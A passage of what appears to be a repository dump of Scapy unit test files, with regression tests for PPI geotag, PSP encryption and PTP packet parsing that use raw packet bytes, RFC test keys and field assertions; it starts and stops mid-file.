b\"\\x00\\x00\\xef\\x00i\\x00\\x00\\x002u\\x14\\x00\\x02\\x00\\x14\\x00\\x07\\x00\\x00\\x00\\x02\\x00\\x00\\x006\\x89\\x99\\x83\\x9c\\xb52?3u8\\x00\\x02\\x008\\x00\\x17\\x00\\x00\\x10\\x03\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x80\\x96\\x98\\x00\\xa0RW\\x01VehicleVec\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x004u\\x0e\\x00\\x02\\x00\\x0e\\x00!\\x00\\x00\\x00\\x01\\x00@\\xdfLk3u0\\x00\\x02\\x000\\x00\\x12\\x00\\x00\\x10\\x01\\x00\\x00\\x00\\x80J]\\x05AntennaVec\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x005u1\\x00\\x02\\x001\\x00\\x07\\x00\\x00\\x08\\x02\\x00\\x00\\x00\\t\\x00\\x0e'\\x07SA24-120-9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x85\\t\\x00\\x00\\x00\\x00\\xb5\\x92\\x80\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x01\\x02\\x03\\x04\\x05\\x00\\x01\\x02\\t\\x01\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00d\\x00\\x00\\x00\\x00\\tTest-10.3\"\n\n= Pkt_10_4\na = Pkt_10_4()\nassert raw(a) == b\"\\x00\\x00\\xc6\\x01i\\x00\\x00\\x002u\\x18\\x00\\x02\\x00\\x18\\x00\\x17\\x00\\x00\\x00\\x02\\x00\\x00\\x006\\x89\\x99\\x83\\x9c\\xb52?  Jk3u\\x18\\x00\\x02\\x00\\x18\\x00\\x17\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x80\\x96\\x98\\x00\\xa0RW\\x014u\\x0e\\x00\\x02\\x00\\x0e\\x00!\\x00\\x00\\x00\\x01\\x00\\x08\\x1eKk4u\\x0e\\x00\\x02\\x00\\x0e\\x00!\\x00\\x00\\x00\\x02\\x00\\x88\\xe5Ik3u@\\x00\\x02\\x00@\\x00\\xf3\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x80J]\\x05L\\xefIkp\\xe9Ik0\\xcaIkAntenna1Vec\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x005uQ\\x00\\x02\\x00Q\\x00\\x07\\x00\\x00\\x18\\x02\\x00\\x00\\x00\\t\\x00\\x0e'\\x07SA24-120-9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00RightAntenna\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x85\\t\\x00\\x00\\x00\\x00\\xb5\\x923u@\\x00\\x02\\x00@\\x00\\xf3\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x80\\xdf\\x17\\x10\\xb4\\xb4Ikp\\xe9Ik0\\xcaIkAntenna2Vec\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x005uQ\\x00\\x02\\x00Q\\x00\\x07\\x00\\x00\\x18\\x02\\x00\\x00\\x00\\t\\x00\\x0e'\\x07SA24-120-9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00LeftAntenna\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x85\\t\\x00\\x00\\x00\\x00\\xa1\\x92\\x80\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x01\\x02\\x03\\x04\\x05\\x00\\x01\\x02\\t\\x01\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00d\\x00\\x00\\x00\\x00\\tTest-10.4\"\n\n= Pkt_10_5\na = Pkt_10_5()\na.show()\nassert isinstance(a, PPI)\nassert raw(a) == b\"\\x00\\x00\\xe3\\x00i\\x00\\x00\\x002u\\x14\\x00\\x02\\x00\\x14\\x00\\x07\\x00\\x00\\x00\\x02\\x00\\x00\\x006\\x89\\x99\\x83\\x9c\\xb52?3u8\\x00\\x02\\x008\\x00\\x17\\x00\\x00\\x10\\x03\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa0RW\\x01VehicleVec\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x003u0\\x00\\x02\\x000\\x00\\x12\\x00\\x00\\x10\\x01\\x00\\x00\\x00\\x00\\x0e'\\x07AntennaVec\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x005u7\\x00\\x02\\x007\\x00'\\x00\\x00(\\x02\\x00\\x01\\x00\\x0c\\x00\\x87\\x93\\x03\\xa1\\xf1ElectronicallySteerableExAntenna\\x01\\x02\\x03\\x04\\x02\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x85\\t\\x00\\x00\\x00\\x00\\xb5\\x92\\x80\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x01\\x02\\x03\\x04\\x05\\x00\\x01\\x02\\t\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00d\\x00\\x00\\x00\\x00\\tTest-10.5\"\n\n= Pkt_10_6\na = Pkt_10_6()\nassert raw(a) == b'\\x00\\x00\\x15\\x01i\\x00\\x00\\x002u\\x14\\x00\\x02\\x00\\x14\\x00\\x07\\x00\\x00\\x00\\x02\\x00\\x00\\x006\\x89\\x99\\x83\\x9c\\xb52?3u4\\x00\\x02\\x004\\x00\\x13\\x00\\x00\\x10\\x02\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\xa0RW\\x01VehicleVec\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x003u4\\x00\\x02\\x004\\x00\\x13\\x00\\x00\\x10\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa0\\xe7\\x11\\x0cForwardVec\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x003u4\\x00\\x02\\x004\\x00\\x13\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xc0hx\\x04AntennaVec\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x005u1\\x00\\x02\\x001\\x00\\x07\\x00\\x00\\x08\\x02\\x00\\x02\\x00\\x0c\\x00\\x87\\x93\\x03MechanicallySteerableAnt\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x85\\t\\x00\\x00\\x00\\x00\\xb3\\x92\\x80\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x01\\x02\\x03\\x04\\x05\\x00\\x01\\x02\\t\\x01\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00d\\x00\\x00\\x00\\x00\\tTest-10.6'\n\n= Pkt_10_7\na = Pkt_10_7()\nassert raw(a) == b\"\\x00\\x00\\x15\\x01i\\x00\\x00\\x002u\\x14\\x00\\x02\\x00\\x14\\x00\\x07\\x00\\x00\\x00\\x02\\x00\\x00\\x00D\\x9d?\\x84\\xfc\\xce\\x1173u4\\x00\\x02\\x004\\x00\\x13\\x00\\x00\\x10\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x80\\xf0\\xfa\\x02VehicleVec\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x003u4\\x00\\x02\\x004\\x00\\x13\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x80\\x85\\xb5\\rDOT-Vec\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x003u4\\x00\\x02\\x004\\x00\\x13\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x80J]\\x05AntennaVec\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x005u1\\x00\\x02\\x001\\x00\\x07\\x00\\x00\\x08\\x02\\x00\\x00\\x00\\t\\x00\\x0e'\\x07SA24-120-9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x85\\t\\x00\\x00\\x00\\x00\\xb3\\x92\\x80\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x01\\x02\\x03\\x04\\x05\\x00\\x01\\x02\\t\\x01\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00d\\x00\\x00\\x00\\x00\\tTest-10.7\"\nassert a.headers[5].Antnoise == -110\nassert isinstance(a[Dot11].payload, Dot11Beacon)\n\n= Pkt_10_8\na = Pkt_10_8()\na.show()\nassert raw(a) == b'\\x00\\x00\\xc0\\x01i\\x00\\x00\\x002u\\x1c\\x00\\x02\\x00\\x1c\\x00g\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\xe2o=\\x84\\xd4\\x89\\x107L\\xd0QO\\x00\\xc2\\xeb\\x0b3u4\\x00\\x02\\x004\\x00\\x07\\x00\\x00\\x10\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x80J]\\x05Antenna-1 orientation\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x004u\\x13\\x00\\x02\\x00\\x13\\x00#\\x00\\x00 \\xd0\\x07\\xf7\\xf2\\x1bSk\\x01\\x02\\x03\\x045uQ\\x00\\x02\\x00Q\\x00\\x07\\x00\\x00\\x18\\x01\\x00\\x00\\x00\\x05\\x00*u\\x158dBi-Omni\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00Signal 1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc4\\x802u\\x1c\\x00\\x02\\x00\\x1c\\x00g\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\xa0p=\\x84\\xbe\\x9f\\x107L\\xd0QO\\x00\\xc2\\xeb\\x0b3u4\\x00\\x02\\x004\\x00\\x07\\x00\\x00\\x10\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x80J]\\x05Antenna-2 orientation\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x004u\\x13\\x00\\x02\\x00\\x13\\x00#\\x00\\x00 \\xd0\\x07\\xf7\\xf8\\xffdk\\x01\\x02\\x03\\x045uQ\\x00\\x02\\x00Q\\x00\\x07\\x00\\x00\\x18\\x01\\x00\\x00\\x00\\x05\\x00*u\\x158dBi-Omni\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00Signal 2\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb0\\x80\\x80\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x01\\x02\\x03\\x04\\x05\\x00\\x01\\x02\\t\\x01\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00d\\x00\\x00\\x00\\x00\\tTest-10.8'\nassert isinstance(a.headers[7].payload, PPI_Geotag_Sensor)\nassert a.headers[7].ScaleFactor == -9\nassert a.headers[7].pfh_length == 19\n\n= Pkt_10_9\na = Pkt_10_9()\nassert raw(a) == b'\\x00\\x00\\r\\x01i\\x00\\x00\\x002u\\x1c\\x00\\x02\\x00\\x1c\\x00g\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\xa0p=\\x84\\xbe\\x9f\\x107L\\xd0QO\\x00\\xc2\\xeb\\x0b3u4\\x00\\x02\\x004\\x00\\x07\\x00\\x00\\x10\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x80J]\\x05Antenna-2 orientation\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x003u<\\x00\\x02\\x00<\\x00\\x13\\x00\\x010\\x02\\x00\\x00\\x00\\x08\\x00\\x00\\x00@\\xb1F\\x13\\x80\\x96\\x98\\x00AOA at Antenna-2\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x03\\x045uQ\\x00\\x02\\x00Q\\x00\\x07\\x00\\x00\\x18\\x01\\x00\\x00\\x00\\x05\\x00*u\\x158dBi-Omni\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00Signal 2\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb0\\x80\\x80\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x01\\x02\\x03\\x04\\x05\\x00\\x01\\x02\\t\\x01\\x98\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00d\\x00\\x00\\x00\\x00\\tTest-10.9'\nassert a.headers[2].DescString == b'AOA at Antenna-2\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= Pkt_10_10\na = Pkt_10_10()\nassert raw(a) == b'\\x00\\x00M\\x01i\\x00\\x00\\x002u\\x1c\\x00\\x02\\x00\\x1c\\x00g\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\xa0p=\\x84\\xbe\\x9f\\x107L\\xd0QO\\x00\\xc2\\xeb\\x0b3u4\\x00\\x02\\x004\\x00\\x07\\x00\\x00\\x10\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x80J]\\x05Antenna-2 orientation\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x003u<\\x00\\x02\\x00<\\x00\\x13\\x00\\x010\\x03\\x00\\x00\\x00\\x08\\x00\\x00\\x00@\\xb1F\\x13\\x80\\x96\\x98\\x00AOA at Antenna-2\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x03\\x043u<\\x00\\x02\\x00<\\x00C\\x00\\x020\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x80\\xecOk  JkTransmitter Position\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x03\\x045uQ\\x00\\x02\\x00Q\\x00\\x07\\x00\\x00\\x18\\x01\\x00\\x00\\x00\\x05\\x00*u\\x158dBi-Omni\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00Signal 2\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb0\\x80\\x80\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x01\\x02\\x03\\x04\\x05\\x00\\x01\\x02\\t\\x01\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00d\\x00\\x00\\x00\\x00\\nTest-10.10'\nassert a.headers[0].GPSTime == 1288720719\nassert a.headers[4].ModelName == b'8dBi-Omni\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nassert isinstance(a.headers[3].payload, PPI_Geotag_Vector)\nassert a.headers[3].pfh_type == 30003\nassert a.headers[3].Off_Y == 40.0\nassert a.headers[3].Err_Off == 2.0\n\n= All-in-one packet\n# Extracted from PPI_GEOLOCATION_SDK.zip\\PPI_GEOLOCATION_SDK\\pcaps\\reference-pcaps\\all-ppi-geo-fields.py\na = hex_bytes(b'00008a02690000003275900002029000ff03007002000000368999839cb5323fa0584b6b406e4a6b4f51d04cffffffff40420f0080841e00005ed0b2416c6c4669656c64734750535061636b6574000000000000000000000000000004030201414243442e2e2e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003375900002029000ff000370ff0000000800000080969800002d3101e09da30110f9496b20204a6b0055496b80c3c90128604d6b46756c6c7946696c6c65644f7574566563746f720000000000000000000000000403020141424344000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034757f0002027f007f0000700100ff4014596b8056686bc098776b00db866b50954a6b4d616465557056656c6f63697479730000000000000000000000000000000000010203044142434400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003575bb000102bb003f00007c0200000009000e2707002d310160f59000b2a13030303030310000000000000000000000000000000000000000000000000000534132342d3132302d39000000000000000000000000000000000000000000004c656674416e74656e6e610000000000000000000000000000000000000000000102030441424344000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002001400000000000000000000000000850900000000a19280000000ffffffffffff0001020304050001020901040000000000000000000064000000000b546573742d53656e736f72')\npkt = PPI(a)\nassert isinstance(pkt.headers[0].payload, PPI_Geotag_GPS)\nassert pkt.headers[0].present == 1879049215\nassert isinstance(pkt.headers[1].payload, PPI_Geotag_Vector)\nassert pkt.headers[1].present == 1879245055\nassert isinstance(pkt.headers[3].payload, PPI_Geotag_Antenna)\nassert repr(pkt.headers[3].present) == \"<Flag 2080374847 (AntennaFlags+Gain+HorizBw+VertBw+PrecisionGain+BeamID+SerialNumber+ModelName+DescString+AppId+AppData)>\"\nassert isinstance(pkt.headers[4].payload, PPI_Dot11Common)\nassert isinstance(pkt[Dot11][Dot11Beacon].payload, Dot11Elt)\nassert pkt[Dot11Elt].info == b'Test-Sensor'\nassert pkt[Dot11Elt].ID == 0\n\n= All-wrong-data packet\npkt = PPI(headers=[\n        PPI_Hdr()/PPI_Geotag_GPS(GPSFlags=\"Manual Input\", Latitude=-181, Longitude=181, GPSTime=1288720719, FractionalTime=-1, ept=100, eph=-1, epv=1000, Altitude=-999999, Altitude_g=999999),\n        PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=\"DefinesForward+RelativeToEarth\", VectorChars=0x08, Heading=323.4, Err_Rot=10.0, DescString=\"AOA at Antenna-2\", AppId=0x04030201),\n        PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x01,Gain=5,HorizBw=360.0,ModelName=\"8dBi-Omni\", DescString=\"Signal 2\"),\n        PPI_Hdr()/PPI_Dot11Common(Antsignal=-80)])/\\\n    Dot11(addr1=\"FF:FF:FF:FF:FF:FF\",addr2=\"00:01:02:03:04:05\",addr3=\"00:01:02:09:01:0A\")/\\\n    Dot11Beacon()/Dot11Elt(ID=0,info=\"Test-allwrong\")\npkt = PPI(raw(pkt))\npkt.show()\nassert pkt.headers[0].Latitude == -180.0\nassert pkt.headers[0].Longitude == 180.0\nassert pkt.headers[0].Altitude == -180000.0\nassert pkt.headers[0].Altitude_g == 180000.0\nassert pkt.headers[0].epv < 1000\nassert pkt.headers[0].ept < 5\nassert pkt.headers[0].FractionalTime == 0.0\n"
  },
  {
    "path": "test/contrib/ppi_geotag.uts",
    "content": "# PPI_Geotag tests\n\n############\n############\n+ PPI Geotags tests\n\n= Import PPI Geotag\n\nfrom scapy.contrib.ppi_geotag import *\n\n= Test GPS dissection\n\nassert raw(PPI_Hdr()/PPI_Geotag_GPS()) == b'2u\\x08\\x00\\x02\\x00\\x08\\x00\\x00\\x00\\x00\\x00'\n\n= Test Vector dissection\n\nassert raw(PPI_Hdr()/PPI_Geotag_Vector()) == b'3u\\x08\\x00\\x02\\x00\\x08\\x00\\x00\\x00\\x00\\x00'\n\n= Test Sensor dissection\n\nassert raw(PPI_Hdr()/PPI_Geotag_Sensor()) == b'4u\\x08\\x00\\x02\\x00\\x08\\x00\\x00\\x00\\x00\\x00'\n\n= Test Antenna dissection\n\nassert raw(PPI_Hdr()/PPI_Geotag_Antenna()) == b'5u\\x08\\x00\\x02\\x00\\x08\\x00\\x00\\x00\\x00\\x00'\n\n= Test GPSTime_Field time handling\n\nassert GPSTime_Field(\"GPSTime\", None).delta == 0.0\n\n"
  },
  {
    "path": "test/contrib/psp.uts",
    "content": "# PSP unit tests\n# run with:\n#   test/run_tests  -P \"load_contrib('psp')\" -t test/contrib/psp.uts -F\n\n% Regression tests for the PSP layer\n\n###############\n##### PSP #####\n###############\n\n+ PSP tests\n\n= PSP layer\n\nexample_plain_packet = import_hexcap('''\\\n0000  04 01 05 01 11 22 33 44 01 02 03 04 05 06 07 08  .....\"3D........\n0010  45 00 00 25 00 01 00 00 40 11 7C C5 7F 00 00 01  E..%....@.|.....\n0020  7F 00 00 01 04 D2 16 2E 00 11 A0 C4 41 41 41 41  ............AAAA\n0030  41 41 41 41 41                                   AAAAA\n''')\npsp_packet = PSP(example_plain_packet)\nassert psp_packet.nexthdr == 4\nassert psp_packet.hdrextlen == 1\nassert psp_packet.cryptoffset == 5\nassert psp_packet.version == 0\nassert psp_packet.spi == 0x11223344\nassert psp_packet.iv == b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'\n\npayload = IP(psp_packet.data)\nassert payload[UDP].sport == 1234\nassert payload[UDP].dport == 5678\nassert bytes(payload[Raw]) == b\"A\" * 9\n\n= PSP Usage Example\n\npayload = IP() / UDP(sport=1234, dport=5678) / Raw(\"A\" * 9)\niv = b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'\nspi = 0x11223344\nkey = b'\\xFF\\xEE\\xDD\\xCC\\xBB\\xAA\\x99\\x88\\x77\\x66\\x55\\x44\\x33\\x22\\x11\\x00'\npsp_packet = PSP(nexthdr=4, cryptoffset=5, spi=spi, iv=iv, data=payload)\nhexdump(psp_packet)\nexpected_orig_packet = import_hexcap(r'''\\\n0000  04 01 05 01 11 22 33 44 01 02 03 04 05 06 07 08  .....\"3D........\n0010  45 00 00 25 00 01 00 00 40 11 7C C5 7F 00 00 01  E..%....@.|.....\n0020  7F 00 00 01 04 D2 16 2E 00 11 A0 C4 41 41 41 41  ............AAAA\n0030  41 41 41 41 41                                   AAAAA\n''')\nassert bytes(psp_packet) == bytes(expected_orig_packet)\n# Now let's encrypt it\npsp_packet.encrypt(key)\nhexdump(psp_packet)\nassert bytes(psp_packet) == import_hexcap(r'''\\\n0000  04 01 05 01 11 22 33 44 01 02 03 04 05 06 07 08  .....\"3D........\n0010  45 00 00 25 00 01 00 00 40 11 7C C5 7F 00 00 01  E..%....@.|.....\n0020  7F 00 00 01 8E 3E 2B 13 45 C7 6B F9 5C DA C3 9B  .....>+.E.k.\\...\n0030  86 17 62 A0 CF DF FB BE BB C6 31 3A 2B 9D E0 64  ..b.......1:+..d\n0040  75 9C DD 71 C9                                   u..q.\n''')\n# Now let's decrypt it back\npsp_packet.decrypt(key)\nhexdump(psp_packet)\nassert bytes(psp_packet) == bytes(expected_orig_packet)\n\n= PSP RFC Test - Version 0, no VC\nkey_128 = b'\\x39\\x46\\xDA\\x25\\x54\\xEA\\xE4\\x6A\\xD1\\xEF\\x77\\xA6\\x43\\x72\\xED\\xC4'\nspi = 0x9A345678\nIV = b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\nplaintext_packet = rdpcap(scapy_path(\"/test/pcaps/psp_v4_cleartext.pcap.gz\"))[0]\nencrypted_packet = rdpcap(scapy_path(\"/test/pcaps/psp_v4_encrypt_transport_crypt_off_128.pcap.gz\"))[0]\npsp_packet = PSP(nexthdr=0x11, cryptoffset=1, spi=spi, iv=IV, data=plaintext_packet[UDP])\npsp_packet.encrypt(key_128)\nassert bytes(psp_packet) == bytes(encrypted_packet[PSP])\n\n= PSP RFC Test - Version 1, no VC\nkey_256 = b'\\xFA\\x00\\xF6\\x09\\xDF\\x60\\x20\\x28\\x9A\\x1C\\x93\\xD6\\x02\\x70\\x81\\xA6\\x37\\xAD\\x45\\xB2\\x4A\\x55\\x76\\xB3\\x6E\\x6F\\x49\\xDD\\x43\\x11\\x4D\\x80'\n# SPI and IV are the same as before\nencrypted_packet = rdpcap(scapy_path(\"/test/pcaps/psp_v4_encrypt_transport_crypt_off_256.pcap.gz\"))[0]\npsp_packet = PSP(nexthdr=0x11, cryptoffset=1, version=1, spi=spi, iv=IV, data=plaintext_packet[UDP])\npsp_packet.encrypt(key_256)\nassert bytes(psp_packet) == bytes(encrypted_packet[PSP])\n\n= PSP RFC Test - Version 0, with VC\nencrypted_packet = rdpcap(scapy_path(\"/test/pcaps/psp_v4_encrypt_transport_crypt_off_128_vc.pcap.gz\"))[0]\npsp_packet = PSP(nexthdr=0x11, hdrextlen=2, cryptoffset=3, is_virt=1, spi=spi, iv=IV, data=plaintext_packet[UDP])\npsp_packet.encrypt(key_128)\nassert bytes(psp_packet) == bytes(encrypted_packet[PSP])\n"
  },
  {
    "path": "test/contrib/ptp_v2.uts",
    "content": "% PTP regression tests for Scapy\n\n#\n# Type the following command to launch the tests:\n# $ test/run_tests -P \"load_contrib('ptp_v2')\" -t test/contrib/ptp_v2.uts\n\n+ Basic tests\n\n= specific haslayer and getlayer implementations for PTP\n~ haslayer getlayer PTP\npkt = IP() / UDP() / PTP()\nassert PTP in pkt\nassert pkt.haslayer(PTP)\nassert isinstance(pkt[PTP], PTP)\nassert isinstance(pkt.getlayer(PTP), PTP)\n\n+ Packet dissection tests\n\n= Sync packet dissection\ns = b'\\x10\\x02\\x00\\x2c\\x7b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x63\\xff\\xff\\x00\\x09\\xba\\x00\\x01\\x00\\x74\\x00\\x00\\x00\\x00\\x45\\xb1\\x11\\x5a\\x0a\\x64\\xfa\\xb0'\npkt = PTP(s)\nassert pkt.transportSpecific == 1\nassert pkt.messageType == 0\nassert pkt.reserved1 == 0\nassert pkt.version == 2\nassert pkt.messageLength == 44\nassert pkt.domainNumber == 123\nassert pkt.reserved2 == 0\nassert pkt.flags == None\nassert pkt.correctionField == 0\nassert pkt.reserved3 == 0\nassert pkt.clockIdentity == 0x8063ffff0009ba\nassert pkt.portNumber == 1\nassert 